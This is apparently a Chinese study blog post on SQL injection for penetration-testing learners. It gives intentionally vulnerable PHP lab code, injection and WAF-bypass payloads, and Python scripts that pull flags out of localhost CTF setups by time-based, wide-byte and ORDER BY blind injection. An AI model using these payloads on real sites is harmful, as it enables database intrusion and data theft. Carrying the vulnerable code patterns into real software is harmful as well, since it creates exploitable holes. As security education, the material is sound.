网安渗透学习小结--sql注入

一.经典联合查询注入

详细步骤:

  1. 判断注入点。
  2. 使用 ORDER BY 确定列数。
  3. 使用 UNION SELECT 确定显示位。
  4. 替换显示位获取敏感信息。

示例:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT username, email, age FROM users WHERE id = " . $id;
$result = $conn->query($sql);
$row = $result->fetch_assoc();
echo "用户名: " . $row['username'];

这个第二句,id直接拼接,没有一点过滤,直接联合查询

php 复制代码
GET /user.php?id=-1 UNION SELECT 1,2,3

会发现页面存在回显数字,假如页面原本显示"用户名: admin"的地方,现在显示数字 2。说明第二列(email字段)是显示位。

php 复制代码
GET /user.php?id=-1 UNION SELECT 1,user(),3

再通过回显user()命令,实现简单注入目标用户查询

原理解析id=-1 让原查询无结果,从而强制显示 UNION 后面的查询结果。这里id不能等于1,如是等于1,会回显1而导致后面查询结果不能显示

二.基础错误注入

基础步骤:

  1. 构造报错语句。
  2. 使用 updatexmlextractvalue 函数。
  3. 通过报错回显带出数据。

示例:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
$result = $conn->query($sql);
if (!$result) {
    die(mysqli_error($conn));
}

这里源码也没有过滤并且源码有报错显示,可以通过报错从而注入危险语句显示数据获取信息。

基础payload

php 复制代码
GET /user.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

页面直接报错:

XPATH syntax error: '~my_database~'

updatexml 的第二个参数必须是合法的XML路径字符串,我们将 SELECT 的结果放进去,因不符合Xpath格式而报错,数据库顺便把错误内容打印了出来。

三.布尔盲注

详细步骤:

  1. 判断页面真/假两种状态。
  2. 猜测数据库名长度。
  3. 截取字符并猜解ASCII码

示例

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    echo "存在该用户";
} else {
    echo "不存在";
}

这里源码存在if判断,信息存在与不存在有true,false两种状态

基础payload

php 复制代码
GET /user.php?id=1 and length(database())=4

我们可以通过条件判断,看回显状态观察是否存在需要的信息

如果页面返回 "存在该用户",说明数据库名长度是4。

如果返回 "不存在",说明长度不是4,继续猜。

接着可以猜第一位字母

php 复制代码
GET /user.php?id=1 and ascii(substr(database(),1,1))=116

这里用ASCII码判断字母是否存在,如当前注入存在则第一个字母为t

通过逐位猜解,构建二分法逻辑,最终还原出完整的数据库名

可以利用自动化脚本实现所有信息名字猜取

四.HTTP参数污染 (HPP) 注入

详细步骤

  1. 测试服务器对同名参数的处理逻辑。
  2. 利用处理差异欺骗WAF或后端逻辑。

示例

php 复制代码
string id = Request.QueryString["id"]; // 获取最后一个id
string sql = "SELECT * FROM news WHERE id = " + id;

基本payload

php 复制代码
GET /news.aspx?id=1&id=1 UNION SELECT username,password FROM users

提交 ?id=1&id=1,服务器可能只取第一个,或者只取最后一个,或者合并为数组。

识别服务器类型:通常需要知道后端是PHP(IIS/Apache)、JSP或ASP.NET

测试环境:假设后端WAF检查第一个参数,而应用代码获取最后一个参数(如IIS+ASP.NET常见情况)。

正常注入会被WAF拦截:?id=1 UNION SELECT...

使用HPP绕过:?id=1&id=UNION SELECT 1,2,3

WAF检测到 id=1,认为是安全的。

后端应用取到最后一个参数 id=UNION SELECT... 并拼接到SQL中执行。

利用中间件与WAF/应用层对参数处理的优先级不一致,实现了"瞒天过海"。

五.WAF绕过之编码与混淆

使用注释或特殊符号拆分关键字。

示例

php 复制代码
<?php
// index.php
// 模拟CTF题目环境
 $conn = new mysqli("localhost", "root", "root", "ctf");

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 创建数据库和表(仅第一次运行需要)
 $conn->query("CREATE DATABASE IF NOT EXISTS ctf");
 $conn->select_db("ctf");
 $conn->query("CREATE TABLE IF NOT EXISTS flag (flag VARCHAR(100))");
 $conn->query("INSERT INTO flag (flag) VALUES ('flag{double_url_encode_bypass}')");
 $conn->query("CREATE TABLE IF NOT EXISTS users (id INT, username VARCHAR(50))");
 $conn->query("INSERT INTO users VALUES (1, 'admin')");

// WAF 防御逻辑
 $id = $_GET['id'] ?? '1';

// 这个WAF过滤了 union select, information_schema, sleep 等关键字
// 但是它只进行了一次 URL 解码,或者没有处理双重编码
if (preg_match('/union\s+select/i', $id) || 
    preg_match('/information_schema/i', $id) || 
    preg_match('/sleep/i', $id)) {
    die("<h1>Hacker Detected!</h1>");
}

// SQL查询
 $sql = "SELECT * FROM users WHERE id = " . $id;
// echo "SQL: " . $sql . "<br>"; // 调试用
 $result = $conn->query($sql);

if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo "ID: " . $row["id"]. " - Name: " . $row["username"]. "<br>";
    }
} else {
    echo "0 results";
}
 $conn->close();
?>
  • 浏览器或Web服务器接收请求时,会自动进行一次URL解码,将 %25 解码为 %
  • 然后将解码后的参数传递给PHP脚本。
  • 关键点 :WAF通常位于应用层(PHP代码中),或者中间件层。如果WAF只进行了一次URL解码来匹配规则,而我们发送了双重编码,WAF看到的还是乱码,无法匹配到 union,从而放行。
  • 当流量到达PHP的底层处理逻辑时,PHP可能会再次解析(或之前服务器层已经解码了一次,导致PHP最终收到的是解码后的内容)。

我们先尝试使用 /**/ 代替空格,这通常能绕过对空格的过滤。

  • Payload: ?id=1'order/**/by/**/3--+
  • 结果:页面正常显示。
  • Payload: ?id=1'order/**/by/**/4--+
  • 结果:页面报错。确定列数为3。

现在我们需要绕过 UNION SELECT

我们将 union select 进行双重编码。

  1. union select -> URL编码 -> %75%6e%69%6f%6e%20%73%65%6c%65%63%74
  2. 双重编码 -> %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34

构造payload

php 复制代码
?id=-1'%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%201,2,3--+

*六.*时间盲注

  1. 构造包含 sleep() 的条件语句。
  2. 观察HTTP响应时间

示例:

php 复制代码
<?php
// index.php
// 模拟时间盲注环境
 $conn = new mysqli("localhost", "root", "root", "ctf");

if ($conn->connect_error) {
    die("连接失败");
}

// 初始化数据
 $conn->query("CREATE DATABASE IF NOT EXISTS ctf");
 $conn->select_db("ctf");
 $conn->query("CREATE TABLE IF NOT EXISTS flag (content VARCHAR(100))");
 $conn->query("INSERT INTO flag (content) VALUES ('flag{blind_time_is_slow}')");

 $id = $_GET['id'] ?? '1';

// 核心SQL注入点
 $sql = "SELECT * FROM users WHERE id = " . $id;

// 注意:这里没有任何回显!
 $result = $conn->query($sql);

// 无论SQL是否执行成功(除了语法错误),页面都输出一样的内容
// 这样攻击者就无法通过回显判断,只能靠时间
echo "<h1>Welcome to CTF Time Challenge</h1>";
echo "<p>Can you find the flag?</p>";
// echo "<!-- SQL: $sql -->"; // 调试用,实战中隐藏
?>

时间盲注测试

  • Payload: ?id=1' and sleep(5)--+
  • 观察:浏览器加载了大约5秒钟才显示出页面。
  • 结论:存在时间盲注。

IF(条件, True_执行, False_执行)

如果条件成立,执行 sleep(5)(页面卡顿5秒)。

如果条件不成立,立即返回(页面秒开)。

python脚本

python 复制代码
import requests
import time

url = "http://localhost/index.php"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@!-."

print("[*] 开始盲注获取 Flag...")
flag_result = ""

# 我们先猜测 Flag 的长度,或者直接暴力猜到空结束
# 假设 Flag 长度在 50 位以内
for i in range(1, 50):
    found = False
    for char in chars:
        # 核心 Payload:
        # 1. (select content from flag limit 0,1)  ==> 获取flag表的第一条记录的content字段
        # 2. substr(..., i, 1)                      ==> 截取第i位字符
        # 3. ascii(...) = ord(char)                 ==> 比较ASCII码
        # 4. if(..., sleep(3), 1)                   ==> 如果成立则延时
        
        payload = f"?id=1' and if(ascii(substr((select content from flag limit 0,1),{i},1))={ord(char)}, sleep(3), 1)--+"
        
        try:
            start = time.time()
            r = requests.get(url + payload)
            # 不设置timeout,防止脚本自己报错打断,我们手动判断时间
        except Exception as e:
            print(f"[-] 网络错误")
            continue
            
        end = time.time()
        # 设定阈值为 2.5 秒
        if end - start > 2.5:
            flag_result += char
            print(f"[*] Flag 第 {i} 位: {char}")
            found = True
            # 稍微停顿一下,避免请求过快导致数据库压力过大或网络波动
            time.sleep(0.5) 
            break
            
    # 如果连续找了几个字符都没有在 chars 集合中匹配到,可能意味着结束
    if not found:
        # 为了稳健,如果连续3个字符都没猜到(可能是标点漏了),才真正停止
        # 这里简单处理:如果当前位没猜到,且已有一定长度,则停止
        if i > 5:
            print("[*] 未找到更多字符,盲注结束。")
            break

print(f"\n[+] 最终 Flag: {flag_result}")

七.宽字节注入

PHP的PDO默认开启 ATTR_EMULATE_PREPARES(模拟预处理),这意味着它不会将SQL发给数据库预处理,而是在本地用 mysql_real_escape_string 等函数转义特殊字符。如果数据库字符集为GBK,宽字节编码(如 %df)可以吃掉转义符 \(ASCII 0x5c),组合成合法汉字。

示例:

php 复制代码
<?php
// index.php
// 模拟宽字节注入环境

// 关键点1:必须指定字符集为 gbk,否则 %df%5c 不会被解析为一个汉字
 $dsn = "mysql:host=localhost;dbname=ctf;charset=gbk";
 $user = "root";
 $pass = "root"; // 请根据你的环境修改

try {
    // 关键点2:开启 ATTR_EMULATE_PREPARES (模拟预处理)
    // 这会导致PDO在PHP本地使用 addslashes 机制转义,而不是交给数据库预处理
    $pdo = new PDO($dsn, $user, $pass, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_EMULATE_PREPARES => true, // 这里是关键!开启模拟预处理
    ]);
} catch (PDOException $e) {
    die("连接失败: " . $e->getMessage());
}

// 初始化数据
 $pdo->exec("CREATE DATABASE IF NOT EXISTS ctf");
 $pdo->exec("USE ctf");
 $pdo->exec("CREATE TABLE IF NOT EXISTS flag (flag VARCHAR(100))");
 $pdo->exec("INSERT INTO flag (flag) VALUES ('flag{gbk_injection_magic}')");
 $pdo->exec("CREATE TABLE IF NOT EXISTS users (id INT, username VARCHAR(50))");
 $pdo->exec("INSERT INTO users VALUES (1, 'admin')");

// 获取输入
 $id = $_GET['id'] ?? '1';

// 核心SQL查询
// 虽然这里使用了 prepare,但因为开启了模拟预处理,它并不安全!
 $sql = "SELECT * FROM users WHERE id = ?";
 $stmt = $pdo->prepare($sql);
// 执行查询,此时PDO会在本地对 $id 进行转义
 $stmt->execute([$id]); 

// 无论是否有数据,都输出一样的信息
 $result = $stmt

验证是否存在宽字节注入

  • Payload : ?id=1%df'
  • PHP处理后 : SELECT * FROM users WHERE id = '1运''(注意这里有一个单引号逃逸)
  • 现象 : 通常会报 SQL 语法错误,因为多了一个单引号。如果不报错,可以尝试 ?id=1%df' and 1=1 --+ 看看是否正常显示。
  • 测试闭合 : ?id=1%df' and 1=1 --+ -> 如果页面显示正常(有数据),说明注入成功。
    • 实际SQL: SELECT * FROM users WHERE id = '1運' and 1=1 -- +'

判断列数

  • Payload : ?id=1%df' order by 4--+
    • 结果: 报错(Unknown column)。
    • 结论 : 列数为 3

构造python脚本

python 复制代码
import requests
import time

url = "http://localhost/index.php" # 请修改为你的实际地址

# 存放结果的变量
flag = ""

print("[*] 开始宽字节注入获取 Flag...")

# 我们直接爆 flag 表中的 flag 字段
# 假设 flag 长度在 50 位以内
for i in range(1, 50):
    # 遍历常见的 ASCII 字符
    for char in range(32, 127):
        # 构造 Payload
        # 核心点:在单引号前加 %df
        # 语法:ascii(substr((select flag from flag limit 0,1), i, 1)) = char
        
        # 注意:Python中如果直接构造字符串,' 需要被浏览器编码。
        # 这里我们手动写完整的 payload 格式
        payload = f"?id=-1%df' union select 1,2,if(ascii(substr((select flag from flag limit 0,1),{i},1))={char},1,0)--+"
        
        try:
            r = requests.get(url + payload)
            # 根据页面回显判断
            # 如果页面显示 "Username: 1" (因为 if 为真,查询结果变成 ...2,1)
            # 如果页面显示 "Username: 0" 或 "No results" (如果 if 为假)
            
            # 这里我们需要根据实际页面响应来判断。
            # 假设当猜对字符时,页面回显的 "Username" 后面是 "1",
            # 或者我们可以利用 SQL 逻辑让页面在猜对时显示 "admin",猜错时不显示。
            
            # 更稳健的布尔盲注写法(不需要回显1或2,只看是否存在数据):
            # 猜对时:select 'admin' (存在数据) -> 页面显示 Username: admin
            # 猜错时:select 0 (由于id=0不存在) -> 页面无数据
            payload_bool = f"?id=-1%df' union select 1,2,if(ascii(substr((select flag from flag limit 0,1),{i},1))={char},'admin',0)--+"
            
            r = requests.get(url + payload_bool)
            
            # 判断 "Username: admin" 是否在页面中
            if "Username: admin" in r.text:
                flag += chr(char)
                print(f"[*] 当前第 {i} 位: {chr(char)}")
                break
        except Exception as e:
            print(f"[-] 发生错误: {e}")

print(f"\n[+] 最终 Flag: {flag}")

字符集编码不一致导致的"宽字节"吃掉了转义字符,使得单引号闭合生效

八.正则回溯绕过

这属于拒绝服务攻击的一种变体,目的是让WAF失效。

利用PHP PCRE库的回溯限制(默认 pcre.backtrack_limit = 1000000)。如果WAF的正则表达式写得不好(例如使用了大量的贪婪匹配 .*.+),攻击者发送极长的特定字符串,会导致正则引擎回溯次数耗尽,强制返回 false(匹配失败),而不是 truefalse(匹配/不匹配)。许多WAF代码写得不好,只检查了 preg_match === false 之外的逻辑,导致绕过。

示例

python 复制代码
<?php
// index.php
// 模拟存在 ReDoS 漏洞的 WAF

// 设置一个非常低的回溯限制,方便测试(实际生产环境通常是默认的 1000000)
// 这里设置为 1000,意味着只需要几百个字符就能触发
ini_set("pcre.backtrack_limit", "1000"); 

 $id = $_GET['id'] ?? '1';

// 漏洞的正则 WAF
// 贪婪匹配 .* 会导致大量回溯
if (preg_match('/union.*select/i', $id)) {
    die("Hacker Detected!");
} 
// 注意:代码逻辑缺陷
// preg_match 失败(回溯溢出返回 false)时,没有进入 die,直接放行了!
// 正确的写法应该是 if (preg_match(...) === true) { die(); }

// 模拟数据库查询
 $conn = new mysqli("localhost", "root", "root", "ctf");
 $conn->query("CREATE DATABASE IF NOT EXISTS ctf");
 $conn->select_db("ctf");
 $conn->query("CREATE TABLE IF NOT EXISTS flag (content VARCHAR(100))");
 $conn->query("INSERT INTO flag (content) VALUES ('flag{regex_backtrack_magic}')");

// SQL注入点
 $sql = "SELECT * FROM flag WHERE id = " . $id;
// echo "SQL: " . $sql; // 调试
 $result = $conn->query($sql);

if ($result) {
    $row = $result->fetch_assoc();
    if ($row) {
        echo $row['content'];
    } else {
        echo "No results";
    }
} else {
    echo "SQL Error: " . $conn->error;
}
?>
  • 测试回溯绕过
    • 我们需要插入超长字符串。由于限制是 1000,我们大概需要 500-600 个字符。
    • Payload:?id=1 union [输入600个a] select 1,2,3
    • 结果:
      • 字符串长度超过阈值,WAF 放行,页面显示 SQL 语法错误(因为 Payload 语法不对,但说明已经绕过了 WAF)。
    • 验证成功:如果你看到了 SQL Error 信息,说明你已经成功绕过了正则检测。

编写 Python 自动化解题脚本

python 复制代码
import requests

url = "http://localhost/index.php"

# 1. 生成用于耗尽回溯次数的字符串
# 限制是 1000,生成 600 个 'a' 足够触发回溯溢出
# 在实战中(默认100万次),可能需要生成约 50万 个字符,这通常需要 POST 请求
buffer = 'a' * 600 

print("[*] 开始利用正则回溯绕过注入...")

# 2. 构造注入 Payload
# 我们需要执行: SELECT * FROM flag WHERE id = -1 union select 1,2,(select content from flag)
# 注意:为了安全,我们在 union 和 select 中间插入 buffer

# 目标 SQL 注入语句
injection_payload = "-1 union {buffer} select 1,2,(select content from flag)"

# 将 buffer 填充进去
final_payload = injection_payload.format(buffer=buffer)

# 3. 发送请求
params = {
    'id': final_payload
}

try:
    r = requests.get(url, params=params)
    
    # 4. 分析响应
    if "Hacker Detected" in r.text:
        print("[-] 绕过失败,buffer 可能不够长。")
    elif "flag{" in r.text:
        # 打印出 flag 的部分
        start = r.text.find("flag{")
        end = r.text.find("}", start) + 1
        print(f"[+] 成功获取 Flag: {r.text[start:end]}")
    else:
        print(f"[+] WAF 绕过成功!但可能语法有问题,页面返回:\n{r.text}")

except Exception as e:
    print(f"[-] 请求出错: {e}")
  • 最终发送给服务器的参数类似:id=-1 union aaaaa...[600个a]...aaaa select 1,2,(select content from flag)
  1. 服务器端处理:

    • WAF 正则引擎开始工作,尝试匹配 unionselect

    • 中间有 600 个 a,正则引擎开始回溯尝试匹配路径。

    • 当回溯次数超过 1000 时,PHP 抛出 PREG_BACKTRACK_LIMIT_ERROR,preg_match 返回 false

    • if (false) 判断为假,WAF 认为输入"不匹配"恶意特征,放行请求。

  2. 数据库执行:

    • MySQL 接收到 SQL:SELECT * FROM flag WHERE id = -1 union aaaa... select 1,2,(select content from flag)

    • MySQL 执行时会忽略 unionselect 中间的那堆 a

九.PDO 真正预处理的逻辑绕过

示例

php 复制代码
<?php
// index.php
// 模拟 PDO 预处理逻辑绕过

 $pdo = new PDO("mysql:host=localhost;dbname=ctf;charset=utf8", "root", "root");

// 初始化数据
 $pdo->exec("CREATE DATABASE IF NOT EXISTS ctf");
 $pdo->exec("USE ctf");
 $pdo->exec("CREATE TABLE IF NOT EXISTS flag (flag VARCHAR(100))");
 $pdo->exec("INSERT INTO flag (flag) VALUES ('flag{pdo_logic_bypass}')");
 $pdo->exec("CREATE TABLE IF NOT EXISTS users (id INT, username VARCHAR(50))");
 $pdo->exec("INSERT INTO users VALUES (1, 'Alice'), (2, 'Bob'), (3, 'Charlie')");

 $order = $_GET['order'] ?? 'id';

// 核心代码:虽然使用了 prepare 和 execute
// 但是 $order 是被直接拼接到 SQL 结构中的!
// ? 占位符只能代表值,不能代表 SQL 关键字或标识符
 $sql = "SELECT * FROM users ORDER BY " . $order; 

// 这里的 prepare 只是为了执行,无法过滤 order 参数
 $stmt = $pdo->query($sql); 

// 输出结果
echo "<table border=1>";
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
    echo "<tr><td>{$row['id']}</td><td>{$row['username']}</td></tr>";
}
echo "</table>";
?>

代码分析

代码使用了 $sql = "SELECT * FROM users ORDER BY " . $order;

这里 $order 是直接拼接的,没有经过预处理绑定(预处理绑定只能用于 WHERE id = ? 这种"值"的位置,不能用于 ORDER BY 后面这种"列名"或"表达式"的位置)

我们可以控制 ORDER BY 后面的内容,正常请求:?order=id -> SQL 变成 SELECT * FROM users ORDER BY id,我们可以注入逻辑判断,例如:?order=if(1=1, id, username)

因为页面会输出表格(idusername),我们可以通过页面的排序变化 或者报错来逐位猜解 Flag

测试基本逻辑

**?order=id :**页面按 id 顺序显示 (1, 2, 3)。

?order=if(1=1, id, username) : 因为 1=1 为真,执行 ORDER BY id,页面显示 (1, 2, 3)。

?order=if(1=2, id, username) : 因为 1=2 为假,执行 ORDER BY username,页面显示 (Alice, Bob, Charlie)。

我们可以通过观察页面的排序顺序(例如看第一行 ID 是 1 还是 2)来判断 if 语句中的条件是否成立。这就是布尔盲注的基础。

报错探测

?order=(case when (1=1) then id else 1/0 end) : 正常显示(因为 1=1,走了 then id 分支)

?order=(case when (1=2) then id else 1/0 end) : 页面报错 Division by 0(因为 1=2,走了 else 1/0 分支)。

构造python脚本

python 复制代码
import requests

# 目标 URL (请根据本地环境修改)
url = "http://localhost/index.php"

# 存放结果的变量
flag = ""

print("[*] 开始 PDO 逻辑绕过盲注...")

# 假设 Flag 长度在 50 位以内
for i in range(1, 50):
    found = False
    # 遍历可打印字符的 ASCII 码
    for char in range(32, 127):
        # 构造 Payload
        # 逻辑:
        # 如果第 i 位字符的 ASCII 码等于 char
        # 则 ORDER BY id (正常)
        # 否则 ORDER BY 1/0 (报错)
        
        payload = f"(case when (ascii(substr((select flag from flag limit 0,1),{i},1))={char}) then id else 1/0 end)"
        
        params = {
            'order': payload
        }
        
        try:
            r = requests.get(url, params=params)
            
            # 判断:如果页面没有 "Division by zero" 字样,说明条件成立(猜对了)
            if "Division by zero" not in r.text:
                flag += chr(char)
                print(f"[*] 第 {i} 位: {chr(char)}")
                found = True
                break
        except Exception as e:
            print(f"[-] 请求异常: {e}")
            
    if not found:
        # 如果所有字符都试完了还没匹配到,说明 Flag 已经结束或不在范围内
        break

print(f"\n[+] 最终 Flag: {flag}")

脚本逻辑

  1. 遍历 Flag 的每一个位置。
  2. 猜测每一个字符的 ASCII 码。
  3. 如果猜测正确,Payload 变成 ORDER BY id(不报错)。
  4. 如果猜测错误,Payload 变成 ORDER BY 1/0(报错)。
相关推荐
LaoZhangGong1232 小时前
学习TCP/IP的第8步:紧急数据
网络·stm32·单片机·学习·tcp/ip·以太网
陌上丨2 小时前
Redis常用的数据类型有哪些?Zset的底层数据结构是什么?
数据结构·数据库·redis
求真求知的糖葫芦2 小时前
微波工程4.3节散射矩阵(S参数矩阵)学习笔记(上)(自用)
笔记·学习·矩阵·射频工程
电商API_180079052472 小时前
得物商品详情API接入与优化实战指南
大数据·数据库·人工智能·数据分析·网络爬虫
正在走向自律2 小时前
KingbaseES数据库MongoDB兼容模式实战:协议级兼容实现业务平滑迁移
数据库·mongodb·国产数据库·kingbasees·电科金仓
henujolly2 小时前
what`s Oracle Problem
数据库·oracle
檀越剑指大厂2 小时前
金仓数据库:多模融合,一库承载未来,驱动数字化转型新范式
数据库
近津薪荼3 小时前
优选算法——双指针4(单调性)
c++·学习·算法
啊吧怪不啊吧3 小时前
极致性能的服务器Redis之String类型及相关指令介绍
网络·数据库·redis·分布式·mybatis